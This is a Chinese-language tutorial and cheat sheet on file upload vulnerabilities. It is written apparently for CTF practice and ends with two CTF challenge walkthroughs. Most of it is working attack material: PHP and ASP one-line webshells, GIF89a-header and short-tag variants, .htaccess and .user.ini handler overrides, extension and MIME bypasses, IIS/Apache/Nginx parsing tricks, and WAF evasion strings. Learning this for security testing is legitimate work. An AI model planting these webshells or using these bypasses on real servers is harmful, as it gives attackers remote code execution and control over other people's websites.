文件上传漏洞原理
用户通过上传点上传恶意代码或文件,web端没有对用户上传的文件进行审计,从而实现控制web端的目的。
webshell的作用
简单的一句话木马:
<?php @eval($_POST['cmd']); ?>
POST传参:cmd=phpinfo();
这里是将我们通过变量cmd传递的内容当中PHP代码执行。类似于Linux系统里面的代码cmd=system(whomai) ;
蚁剑的使用
打开蚁剑,右击选择添加数据
连接密码为一句话木马参数变量名
各种形态的一句话木马
POST传参
<?php @eval($_POST['cmd']); ?>
利用方法如上
GET传参
<?php @eval($_GET['cmd']); ?>
1、直接通过传递执行命令来达到目的
2、借POST方法间接达到目的:
经常使用到的木马
1、标准一句话木马 <?php @eval($_POST['a']); ?>
2、GIF89a //绕过内容识别
<script language='PHP'>eval($_POST['cmd']);</script> //绕过php识别
3、GIF89a //绕过内容识别
<?php @eval($_POST['cmd']);?>
4、<?= eval($_POST['cmd']);?> //绕过对内容是否含有php进行检测
5、 <?= ?>相当于<?php echo > 这个是php的短标签,需要在php.ini开启short_open_tag
6、GIF89a 这个是文件的幻数头,可以绕过对文件头部内容的检测。
7、.htaccess文件里面的内容
<FilesMatch "1.jpg"> //将1.jpg文件当作php文件执行
SetHandler application/x-httpd-php
</FilesMatch>
或者 AddType application/x-httpd-php .jpg //将jpg文件变成php文件执行
8、.user.ini文件里面的内容
auto_prepend_file=11.gif //我们后面要上传的文件名为11.gif
9、asp一句话木马 <%eval request ("a")%>
不同的开发环境需要用到的木马也不一样,但目的都是一样的
文件上传漏洞绕过
后缀名的绕过
①:在某些特定的情况下的后缀也能够被当作php文件进行解析,例如PHP2、php3、php4、phtml、pht等情况。
②:双写绕过 .phpphp //存在一种可能就是在编辑过滤的时候只过滤了一次
③:大小写绕过将.phP文件名后缀大写
④:收尾去空绕过,在后缀名加空格(需要在抓到的数据包中加空格,直接在文件后缀名加空格会命名不成功,它会自动删除空格)
⑤:不删除末尾的点,在后缀名加点(需要在抓到的数据包中加点,直接在文件后缀名加点会命名不成功,它会自动删除点)
⑥:::$DATA:如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名。例如:cmd.php::$DATA,Windows会自动去掉末尾的::$DATA变成x.php
MIME绕过
抓包将Content-Type修改为image/jpeg 或者image/png......
中间件之服务器
中间件包括apache,tomcat,iis,weblogic等
1.IIS6.0版本
(1) 当建立.asa、.asp格式的文件夹时,其目录下的任意文件都将被IIS当作为asp文件解析。
(2) 当上传文件.asp;*.jpg IIS6.0会将文件当做asp文件解析。
2.apache低版本(2.x)
如果对方中间件是apache属于低版本,我们可以利用文件上传,上传一个不识别的文件后缀,利用解析漏洞规则成功解析文件,其中的后门代码被执行。例如:x.php.aaa.bbb.ccc.mmm,可以被当作php文件进行解析,从最后一个.mmm开始,apache不认识,就往前走,一直到.php,这样即绕过了验证,有可以进行解析。
3.apache换行解析漏洞(2.4.0--2.4.29)
在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
4.Nginx低版本、II7
上传可以上传的文件,在文件地址后加上/x.php,可以让文件以php代码去执行。
5.Nginx文件名逻辑(0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7)
我们只需要上传一个空格结尾的文件,即可使PHP解析
WAF绕过
①:数据溢出
可以在文件名上大量写入数据
filename=aaaaaavvvvvvvvssssssssdsdadasdassfdsfdsf.php //数据量自行测试
②:%00截断
%00;===》换行
③:重复数据防匹配
Content-Disposition: form-data; name="upload_file";filename="2.jpg";filename="2.jpg";filename="2.jpg";filename="2.jpg";......filename="2.php";
.user.ini和.htaccess的区别
.htaccess
文件只能用于apahce
,不能用于iis
和nginx
等中间件.user.ini
只能用于Server API
为FastCGI
模式下,而正常情况下apache
不是运行在此模块下的。.htaccess
和.user.ini
都只能用于访问本目录下的文件时进行覆盖。
例题
1、[HNCTF 2022 Week1]easy_upload
直接上传.php文件,一点过滤都没有
上蚁剑
2、[GXYCTF 2019]BabyUpload (.htaccess)
打开题目可以看到上传点:
上传一句话木马,上传.php文件显示如下
提示我们后缀不能有ph
测试一下上面几种后缀名绕过可不可以,发现都不行
先上传.htaccess文件
显示上传类型太露骨了吧!应该是还有那些检查,修改一下 Content-Type
上传成功
接着上传1.jpg文件,内容为一句话木马
竟然还是不行,猜测它可能去识别了内容,不能含有<?
上传下面一句话木马的文件
上传成功
上蚁剑
连接成功,拿到flag